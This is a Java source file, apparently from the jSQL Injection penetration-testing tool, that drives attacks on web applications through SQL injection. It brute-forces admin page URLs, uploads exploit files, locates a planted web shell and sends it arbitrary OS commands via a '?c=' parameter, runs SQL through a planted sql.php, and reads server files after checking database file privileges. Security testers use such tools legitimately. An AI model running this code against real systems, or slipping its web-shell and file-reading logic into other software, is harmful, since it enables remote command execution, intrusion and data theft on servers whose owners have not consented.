1
2
3
4
5
6
7
8
9
10
11 package com.jsql.model.accessible;
12
13 import com.jsql.model.InjectionModel;
14 import com.jsql.model.accessible.vendor.*;
15 import com.jsql.model.bean.database.MockElement;
16 import com.jsql.model.bean.util.Header;
17 import com.jsql.model.bean.util.Interaction;
18 import com.jsql.model.bean.util.Request;
19 import com.jsql.model.exception.JSqlException;
20 import com.jsql.model.suspendable.SuspendableGetRows;
21 import com.jsql.util.ConnectionUtil;
22 import com.jsql.util.LogLevelUtil;
23 import org.apache.commons.lang3.StringUtils;
24 import org.apache.logging.log4j.LogManager;
25 import org.apache.logging.log4j.Logger;
26
27 import java.io.File;
28 import java.io.IOException;
29 import java.io.InputStream;
30 import java.net.URI;
31 import java.net.URLEncoder;
32 import java.net.http.HttpHeaders;
33 import java.net.http.HttpRequest;
34 import java.net.http.HttpRequest.BodyPublishers;
35 import java.net.http.HttpResponse;
36 import java.net.http.HttpResponse.BodyHandlers;
37 import java.nio.charset.StandardCharsets;
38 import java.nio.file.Files;
39 import java.nio.file.Paths;
40 import java.time.Duration;
41 import java.util.*;
42 import java.util.concurrent.CompletionService;
43 import java.util.concurrent.ExecutionException;
44 import java.util.concurrent.ExecutorCompletionService;
45 import java.util.concurrent.ExecutorService;
46 import java.util.function.BinaryOperator;
47 import java.util.regex.Pattern;
48
49
50
51
52
53 public class ResourceAccess {
54
55
56
57
58 private static final Logger LOGGER = LogManager.getRootLogger();
59
60
61
62
63 private boolean isSearchAdminStopped = false;
64
65
66
67
68 private boolean isScanStopped = false;
69
70
71
72
73
74 private boolean isSearchFileStopped = false;
75
76
77
78
79 private final List<CallableFile> callablesReadFile = new ArrayList<>();
80 private final InjectionModel injectionModel;
81 private final ExploitSqlite exploitSqlite;
82 private final ExploitMysql exploitMysql;
83 private final ExploitOracle exploitOracle;
84 private final ExploitPostgres exploitPostgres;
85 private final ExploitHsqldb exploitHsqldb;
86 private final ExploitH2 exploitH2;
87 private final ExploitDerby exploitDerby;
88
89
90 public static final String WEB_CONFIRM_CMD = URLEncoder.encode("expr 133707330 + 10001", StandardCharsets.ISO_8859_1);
91 public static final String WEB_CONFIRM_RESULT = "133717331";
92 public static final String SQL_CONFIRM_CMD = "select 1337";
93 public static final String SQL_CONFIRM_RESULT = "| 1337 |";
94
95 public static final String SQL_DOT_PHP = "sql.php";
96 public static final String EXPLOIT_DOT_UPL = "exploit.upl";
97 public static final String EXPLOIT_DOT_WEB = "exploit.web";
98 public static final String UPLOAD_SUCCESSFUL = "Upload successful: ack received for {}{}";
99 public static final String UPLOAD_FAILURE = "Upload failure: missing ack for {}{}";
100
101 public static final String LOID_NOT_FOUND = "Exploit loid not found";
102 public static final String ADD_LOID = "loid#create";
103 public static final String WRITE_LOID = "loid#write";
104 public static final String READ_LOID = "loid#read";
105
106 public static final String ADD_FUNC = "body#add-func";
107 public static final String RUN_FUNC = "body#run-func";
108 public static final String BODY_CONFIRM = "body#confirm";
109 public static final String UDF_RUN_CMD = "udf#run-cmd";
110
111 public static final String TBL_CREATE = "tbl#create";
112 public static final String TBL_FILL = "tbl#fill";
113 public static final String TBL_DUMP = "tbl#dump";
114 public static final String TBL_DROP = "tbl#drop";
115 public static final String TBL_READ = "tbl#read";
116
117 public static final String FILE_READ = "file#read";
118
119
120 public static final String TEMPLATE_ERROR = "Command failure: %s\nTry '%s 2>&1' to get a system error message.\n";
121
122 public ResourceAccess(InjectionModel injectionModel) {
123 this.injectionModel = injectionModel;
124 this.exploitSqlite = new ExploitSqlite(injectionModel);
125 this.exploitMysql = new ExploitMysql(injectionModel);
126 this.exploitOracle = new ExploitOracle(injectionModel);
127 this.exploitPostgres = new ExploitPostgres(injectionModel);
128 this.exploitHsqldb = new ExploitHsqldb(injectionModel);
129 this.exploitH2 = new ExploitH2(injectionModel);
130 this.exploitDerby = new ExploitDerby(injectionModel);
131 }
132
133
134
135
136
137 public int createAdminPages(String urlInjection, List<String> pageNames) {
138 var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
139 matcher.find();
140 String urlProtocol = matcher.group(1);
141 String urlWithoutProtocol = matcher.group(3);
142
143 List<String> folderSplits = new ArrayList<>();
144
145
146 if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
147 urlWithoutProtocol = "/dummy";
148 }
149 String[] splits = urlWithoutProtocol.split("/", -1);
150 String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
151 for (String folderName: folderNames) {
152 folderSplits.add(folderName +"/");
153 }
154
155 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetAdminPage");
156 CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
157
158 var urlPart = new StringBuilder();
159 for (String segment: folderSplits) {
160 urlPart.append(segment);
161 for (String pageName: pageNames) {
162 taskCompletionService.submit(
163 new CallableHttpHead(
164 urlProtocol + urlPart + pageName,
165 this.injectionModel,
166 "check:page"
167 )
168 );
169 }
170 }
171
172 var nbAdminPagesFound = 0;
173 int submittedTasks = folderSplits.size() * pageNames.size();
174 int tasksHandled;
175 for (
176 tasksHandled = 0
177 ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
178 ; tasksHandled++
179 ) {
180 nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
181 }
182
183 this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
184 this.isSearchAdminStopped = false;
185 this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
186
187 return nbAdminPagesFound;
188 }
189
190 public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
191 int nbAdminPagesFoundFixed = nbAdminPagesFound;
192
193 try {
194 CallableHttpHead currentCallable = taskCompletionService.take().get();
195 if (currentCallable.isHttpResponseOk()) {
196 var request = new Request();
197 request.setMessage(Interaction.CREATE_ADMIN_PAGE_TAB);
198 request.setParameters(currentCallable.getUrl());
199 this.injectionModel.sendToViews(request);
200
201 nbAdminPagesFoundFixed++;
202 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
203 }
204 } catch (InterruptedException e) {
205 LOGGER.log(LogLevelUtil.IGNORE, e, e);
206 Thread.currentThread().interrupt();
207 } catch (ExecutionException e) {
208 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
209 }
210 return nbAdminPagesFoundFixed;
211 }
212
213 public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
214 var result = String.format(
215 "Searched %s/%s page%s: %s found",
216 tasksHandled,
217 submittedTasks,
218 tasksHandled > 1 ? 's' : StringUtils.EMPTY,
219 nbAdminPagesFound
220 );
221
222 if (nbAdminPagesFound > 0) {
223 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
224 } else {
225 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
226 }
227 }
228
229 public String checkUrls(String urlExploit, String nameExploit, BinaryOperator<String> biFuncGetRequest) {
230 String urlExploitFixed = urlExploit;
231 if (!urlExploitFixed.isEmpty()) {
232 urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
233 }
234 String url = urlExploitFixed;
235 if (StringUtils.isEmpty(url)) {
236 url = this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlBase();
237 }
238 String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
239 String urlProtocol;
240 if ("/".equals(urlWithoutProtocol)) {
241 urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
242 } else {
243 urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
244 }
245
246 List<String> directoryNames = new ArrayList<>();
247 String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
248 if (urlWithoutFileName.split("/").length == 0) {
249 directoryNames.add("/");
250 }
251 for (String directoryName: urlWithoutFileName.split("/")) {
252 directoryNames.add(directoryName +"/");
253 }
254 String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
255 if (urlSuccess != null) {
256 urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
257 } else {
258 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: connection URL not found");
259 }
260 return urlSuccess;
261 }
262
263 private String getExploitUrl(String filename, List<String> directoryNames, String urlProtocol) {
264 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetExploitUrl");
265 CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
266 var urlPart = new StringBuilder();
267
268 for (String segment: directoryNames) {
269 urlPart.append(segment);
270 taskCompletionService.submit(
271 new CallableHttpHead(
272 urlProtocol + urlPart + filename,
273 this.injectionModel,
274 "xplt#confirm-url"
275 )
276 );
277 }
278
279 String urlSuccess = null;
280 int submittedTasks = directoryNames.size();
281 for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
282 try {
283 CallableHttpHead currentCallable = taskCompletionService.take().get();
284 if (currentCallable.isHttpResponseOk()) {
285 urlSuccess = currentCallable.getUrl();
286 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit successful: connection done to [{}]", currentCallable.getUrl());
287 break;
288 }
289 } catch (InterruptedException e) {
290 LOGGER.log(LogLevelUtil.IGNORE, e, e);
291 Thread.currentThread().interrupt();
292 } catch (ExecutionException e) {
293 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
294 }
295 }
296
297 this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
298 return urlSuccess;
299 }
300
301 public String callCommand(String urlCommand) {
302 String pageSource;
303 try {
304 pageSource = this.injectionModel.getMediatorUtils().getConnectionUtil().getSource(urlCommand);
305 } catch (Exception e) {
306 pageSource = StringUtils.EMPTY;
307 }
308
309 var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*?)<"+ DataAccess.TRAIL +">").matcher(pageSource);
310 regexSearch.find();
311
312 String result;
313
314 try {
315 result = regexSearch.group(1);
316 } catch (IllegalStateException e) {
317 result = StringUtils.EMPTY;
318 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", "command"));
319 }
320 return result;
321 }
322
323
324
325
326
327
328
329 public String runWebShell(String command, UUID uuidShell, String urlExploit) {
330 String result = this.callCommand(
331 urlExploit +"?c="+ URLEncoder.encode(command, StandardCharsets.ISO_8859_1)
332 );
333 if (StringUtils.isBlank(result)) {
334 result = String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", command);
335 }
336 var request = new Request();
337 request.setMessage(Interaction.GET_EXPLOIT_WEB_RESULT);
338 request.setParameters(uuidShell, result);
339 this.injectionModel.sendToViews(request);
340 return result;
341 }
342
343
344
345
346
347
348
349
350
351 public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
352 return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
353 }
354
355 public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isResultSentToView) {
356 String result = this.callCommand(String.format(
357 "%s?q=%s&u=%s&p=%s",
358 urlExploit,
359 URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
360 username,
361 password
362 ));
363
364 if (result.contains("<SQLr>")) {
365 List<List<String>> listRows = this.parse(result);
366 if (listRows.isEmpty()) {
367 result = "Result not found: check your credentials or review logs in tab Network\n";
368 } else {
369 List<Integer> listFieldsLength = this.parseColumnLength(listRows);
370 result = this.convert(listRows, listFieldsLength);
371 }
372 } else if (result.contains("<SQLm>")) {
373 result = result.replace("<SQLm>", StringUtils.EMPTY) +"\n";
374 } else if (result.contains("<SQLe>")) {
375 result = result.replace("<SQLe>", StringUtils.EMPTY) +"\n";
376 }
377
378 if (isResultSentToView) {
379 var request = new Request();
380 request.setMessage(Interaction.GET_EXPLOIT_SQL_RESULT);
381 request.setParameters(uuidShell, result, command);
382 this.injectionModel.sendToViews(request);
383 }
384 return result;
385 }
386
387 private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
388 var tableText = new StringBuilder("+");
389 for (Integer fieldLength: listFieldsLength) {
390 tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
391 }
392 tableText.append("\n");
393 for (List<String> listFields: listRows) {
394 tableText.append("|");
395 var cursorPosition = 0;
396 for (String field: listFields) {
397 tableText.append(StringUtils.SPACE)
398 .append(field)
399 .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
400 .append(" |");
401 cursorPosition++;
402 }
403 tableText.append("\n");
404 }
405 tableText.append("+");
406 for (Integer fieldLength: listFieldsLength) {
407 tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
408 }
409 tableText.append("\n");
410 return tableText.toString();
411 }
412
413 private List<Integer> parseColumnLength(List<List<String>> listRows) {
414 List<Integer> listFieldsLength = new ArrayList<>();
415 for (
416 var indexLongestRowSearch = 0;
417 indexLongestRowSearch < listRows.get(0).size();
418 indexLongestRowSearch++
419 ) {
420 int indexLongestRowSearchFinal = indexLongestRowSearch;
421 listRows.sort(
422 (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
423 );
424 listFieldsLength.add(listRows.get(0).get(indexLongestRowSearch).length());
425 }
426 return listFieldsLength;
427 }
428
429 private List<List<String>> parse(String result) {
430 List<List<String>> listRows = new ArrayList<>();
431 var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
432 while (rowsMatcher.find()) {
433 String values = rowsMatcher.group(1);
434 var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
435 List<String> listFields = new ArrayList<>();
436 listRows.add(listFields);
437
438 while (fieldsMatcher.find()) {
439 String field = fieldsMatcher.group(1);
440 listFields.add(field);
441 }
442 }
443 return listRows;
444 }
445
446 public HttpResponse<String> upload(File file, String url, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
447 var crLf = "\r\n";
448 var boundary = "---------------------------4664151417711";
449
450 var streamData = new byte[streamToUpload.available()];
451 if (streamToUpload.read(streamData) == -1) {
452 throw new JSqlException("Error reading the file");
453 }
454
455 String headerForm = StringUtils.EMPTY;
456 headerForm += "--"+ boundary + crLf;
457 headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
458 headerForm += "Content-Type: binary/octet-stream"+ crLf;
459 headerForm += crLf;
460
461 String headerFile = StringUtils.EMPTY;
462 headerFile += crLf +"--"+ boundary +"--"+ crLf;
463
464 var httpRequest = HttpRequest.newBuilder()
465 .uri(URI.create(url))
466 .timeout(Duration.ofSeconds(15))
467 .POST(BodyPublishers.ofByteArrays(
468 Arrays.asList(
469 headerForm.getBytes(StandardCharsets.UTF_8),
470 Files.readAllBytes(Paths.get(file.toURI())),
471 headerFile.getBytes(StandardCharsets.UTF_8)
472 )
473 ))
474 .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
475 .build();
476
477 var response = this.injectionModel.getMediatorUtils().getConnectionUtil().getHttpClient().build().send(httpRequest, BodyHandlers.ofString());
478 HttpHeaders httpHeaders = response.headers();
479 String pageSource = response.body();
480
481 Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
482 msgHeader.put(Header.URL, url);
483 msgHeader.put(Header.HEADER, ConnectionUtil.getHeadersMap(httpRequest.headers()));
484 msgHeader.put(Header.RESPONSE, ConnectionUtil.getHeadersMap(httpHeaders));
485 msgHeader.put(Header.SOURCE, pageSource);
486 msgHeader.put(Header.METADATA_PROCESS, "upl#multipart");
487 var request = new Request();
488 request.setMessage(Interaction.MESSAGE_HEADER);
489 request.setParameters(msgHeader);
490 this.injectionModel.sendToViews(request);
491 return response;
492 }
493
494
495
496
497
498
499 public boolean isMysqlReadDenied() throws JSqlException {
500 var sourcePage = new String[]{ StringUtils.EMPTY };
501 String resultInjection = new SuspendableGetRows(this.injectionModel).run(
502 this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getPrivilege(),
503 sourcePage,
504 false,
505 1,
506 MockElement.MOCK,
507 "privilege"
508 );
509
510 boolean readingIsAllowed = false;
511
512 if (StringUtils.isEmpty(resultInjection)) {
513 this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
514 var request = new Request();
515 request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
516 this.injectionModel.sendToViews(request);
517 } else if ("false".equals(resultInjection)) {
518 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted: files not readable by current user");
519 var request = new Request();
520 request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
521 this.injectionModel.sendToViews(request);
522 } else {
523 var request = new Request();
524 request.setMessage(Interaction.MARK_FILE_SYSTEM_VULNERABLE);
525 this.injectionModel.sendToViews(request);
526 readingIsAllowed = true;
527 }
528
529 return !readingIsAllowed;
530 }
531
532
533
534
535
536
537
538
539
540
541 public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
542 if (
543 this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getMysql()
544 && this.isMysqlReadDenied()
545 ) {
546 return Collections.emptyList();
547 }
548
549 var countFileFound = 0;
550 var results = new ArrayList<String>();
551
552 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableReadFile");
553 CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
554
555 for (String pathFile: pathsFiles) {
556 var callableFile = new CallableFile(pathFile, this.injectionModel);
557 taskCompletionService.submit(callableFile);
558 this.callablesReadFile.add(callableFile);
559 }
560
561 List<String> duplicate = new ArrayList<>();
562 int submittedTasks = pathsFiles.size();
563 int tasksHandled;
564
565 for (
566 tasksHandled = 0
567 ; tasksHandled < submittedTasks && !this.isSearchFileStopped
568 ; tasksHandled++
569 ) {
570 var currentCallable = taskCompletionService.take().get();
571 if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
572 var name = currentCallable.getPathFile().substring(
573 currentCallable.getPathFile().lastIndexOf('/') + 1
574 );
575 String content = currentCallable.getSourceFile();
576 String path = currentCallable.getPathFile();
577
578 var request = new Request();
579 request.setMessage(Interaction.CREATE_FILE_TAB);
580 request.setParameters(name, content, path);
581 this.injectionModel.sendToViews(request);
582
583 if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
584 LOGGER.log(
585 LogLevelUtil.CONSOLE_INFORM,
586 "Folder exploit candidate: {}",
587 () -> path.replace(name, StringUtils.EMPTY)
588 );
589 }
590
591 duplicate.add(path.replace(name, StringUtils.EMPTY));
592 results.add(content);
593
594 countFileFound++;
595 }
596 }
597
598
599 for (CallableFile callableReadFile: this.callablesReadFile) {
600 callableReadFile.getSuspendableReadFile().stop();
601 }
602 this.callablesReadFile.clear();
603 this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
604 this.isSearchFileStopped = false;
605
606 var result = String.format(
607 "Searched %s/%s file%s: %s found",
608 tasksHandled,
609 submittedTasks,
610 tasksHandled > 1 ? 's' : StringUtils.EMPTY,
611 countFileFound
612 );
613
614 if (countFileFound > 0) {
615 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
616 } else {
617 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
618 }
619 return results;
620 }
621
622 public String getResult(String query, String metadata) throws JSqlException {
623 var sourcePage = new String[]{ StringUtils.EMPTY };
624 return new SuspendableGetRows(this.injectionModel).run(
625 query,
626 sourcePage,
627 false,
628 0,
629 MockElement.MOCK,
630 metadata
631 );
632 }
633
634 public String getResultWithCatch(String query, String metadata) {
635 var sourcePage = new String[]{ StringUtils.EMPTY };
636 try {
637 return new SuspendableGetRows(this.injectionModel).run(
638 query,
639 sourcePage,
640 false,
641 0,
642 MockElement.MOCK,
643 metadata
644 );
645 } catch (JSqlException ignored) {
646 return StringUtils.EMPTY;
647 }
648 }
649
650
651
652
653
654
655 public void stopSearchFile() {
656 this.isSearchFileStopped = true;
657 for (CallableFile callable: this.callablesReadFile) {
658 callable.getSuspendableReadFile().stop();
659 }
660 }
661
662 public void stopSearchAdmin() {
663 this.isSearchAdminStopped = true;
664 }
665
666
667
668
669 public ExploitSqlite getExploitSqlite() {
670 return this.exploitSqlite;
671 }
672
673 public ExploitMysql getExploitMysql() {
674 return this.exploitMysql;
675 }
676
677 public ExploitOracle getExploitOracle() {
678 return this.exploitOracle;
679 }
680
681 public ExploitPostgres getExploitPostgres() {
682 return this.exploitPostgres;
683 }
684
685 public boolean isSearchAdminStopped() {
686 return this.isSearchAdminStopped;
687 }
688
689 public void setScanStopped(boolean isScanStopped) {
690 this.isScanStopped = isScanStopped;
691 }
692
693 public boolean isScanStopped() {
694 return this.isScanStopped;
695 }
696
697 public ExploitHsqldb getExploitHsqldb() {
698 return this.exploitHsqldb;
699 }
700
701 public ExploitH2 getExploitH2() {
702 return this.exploitH2;
703 }
704
705 public ExploitDerby getExploitDerby() {
706 return this.exploitDerby;
707 }
708 }